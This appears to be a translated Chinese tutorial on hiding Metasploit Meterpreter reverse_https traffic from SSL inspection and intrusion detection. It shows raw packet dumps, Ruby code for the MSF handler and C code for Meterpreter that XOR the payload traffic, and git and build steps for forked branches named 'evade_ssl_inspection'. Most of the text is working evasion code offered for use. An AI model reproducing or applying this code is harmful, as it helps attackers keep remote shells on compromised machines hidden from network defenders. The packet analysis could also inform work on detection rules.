SSL檢測本是用來執行中間人攻擊,因此其能夠看到純文本形式的數據包。如果你在Meterpreter會話中檢測流量,你會發現編寫識別Meterpreter的規則十分簡單。
通過在MSF代碼中增加一個Puts,我們可以轉儲原始數據。
當你drop shell的時候,這個數據從MSF發送給Meterpreter是這樣的:
[*]?Starting?interaction?with?1... meterpreter?>?shell "\x00\x00\x00\x84\x00\x00\x00\x00\x00\x00\x00#\x00\x01\x00\x01stdapi_sys_process_execute\x00\x00\x00\x00)\x00\x01\x00\x0203778337146806943879568977592220\x00\x00\x00\x00$\x00\x01\b\xFEC:\\Windows\\system32\\cmd.exe\x00\x00\x00\x00\f\x00\x02\t\x00\x00\x00\x00\v" Process?4012?created. Channel?2?created. Microsoft?Windows?[Version?6.3.9600] (c)?2013?Microsoft?Corporation.?All?rights?reserved. C:\Users\student\Desktop>
仔細看看這些數據,你能找出TLV數據,一個獨特的ID,最重要的是遠程函數調用以及該函數的參數。如果你在編寫一個攔截Meterpreter的規則,肯定會觸發一個警報,因為在數據包中包含字符串“stdapi_sys_process_execute”.
偽裝數據
知道了這些,就能將數據偽裝通過引擎檢測。最普遍的方法是使用XOR,主要是它很快,可逆性,且不會改變數據長度(Base64會增加長度)等特性。在其向外擴展之前我們要做的就是XOR數據(記住,這需要在Meterpreter和MSF同時完成)
下面是在MSF接收方添加代碼
def?dispatch_request(cli,?request)?? xor_byte?=?request.raw_uri[7]?? xored_body?=?String.new?? i?=?0?? request.body.each_byte?do?|b|???? #?don't?touch?the?TlvHeader?(first?8?bytes)???? if?i?>?7?????? xored_body?<<?(b.ord?^?xor_byte.ord).chr???? else?????? xored_body?<<?b???? end???? i?+=?1?? end?? #?use?the?new?string??request.body?=?xored_body
在Meterpreter接收方:
ULONG?i?=?0; for?(;?i?<?payloadLength;?++i)???? payload[i]?^=?xorByte;
記住,只要兩邊xor_byte/xorByte變量的值相同,那么變量的值就不重要了,因為兩方都知道這個隨機生成的URI。
對添加的代碼進行模糊處理,再次使用shell命令就不會遇到煩人的“stdapi_sys_process_execute”字符串:
[*]?Starting?interaction?with?1... meterpreter?>?shell "\x00\x00\x00\x84\x00\x00\x00\x00lllOlmlm\x1F\x18\b\r\x1C\x053\x1F\x15\x1F3\x1C\x1E\x03\x0F\t\x1F\x1F3\t\x14\t\x0F\x19\x18\tllllElmlnYXXT__[TYX[^U_]]T_\\^\\_YZYY\\X\\X\\[llllHlmd\x92/V0;\x05\x02\b\x03\e\x1F0\x1F\x15\x1F\x18\t\x01_^0\x0F\x01\bB\t\x14\tllll`lnellllg" Process?3736?created. Channel?2?created. Microsoft?Windows?[Version?6.3.9600] (c)?2013?Microsoft?Corporation.? All?rights?reserved. C:\Users\student\Desktop>
這樣設置是需要你重新生成Meterpreter DLLs的,詳情可以參考https://github.com/rapid7/meterpreter/
在Windows中,你首先需要:
$?git?clone??https://github.com/rwhitcroft/meterpreter $?cd?meterpreter $?git?submodule?init?&&?git?submodule?update $?git?checkout?evade_ssl_inspection
接著在命令行入口,運行make x64生成DLLs。它將被放置在output/x64/文件夾下面,將其復制到/opt/metasploit-framework/data /meterpreter/覆蓋掉MSF默認的DLLs(并非所有的DLLs都需要復制,但為了簡單操作,就全部復制了)
在MSF端:
$?git?clone?https://github.com/rwhitcroft/metasploit-framework $?cd?metasploit-framework $?bundle?install $?git?checkout?evade_ssl_inspection
就這樣,你現在可以像往常一樣運行msfconsole,并且還可以逃避SSL檢測。
記住,這僅適用于windows/x64/meterpreter/reverse_https?payload,因為這是我的最愛。將該功能添加到reverse_tcp,同樣能夠達到這樣的效果。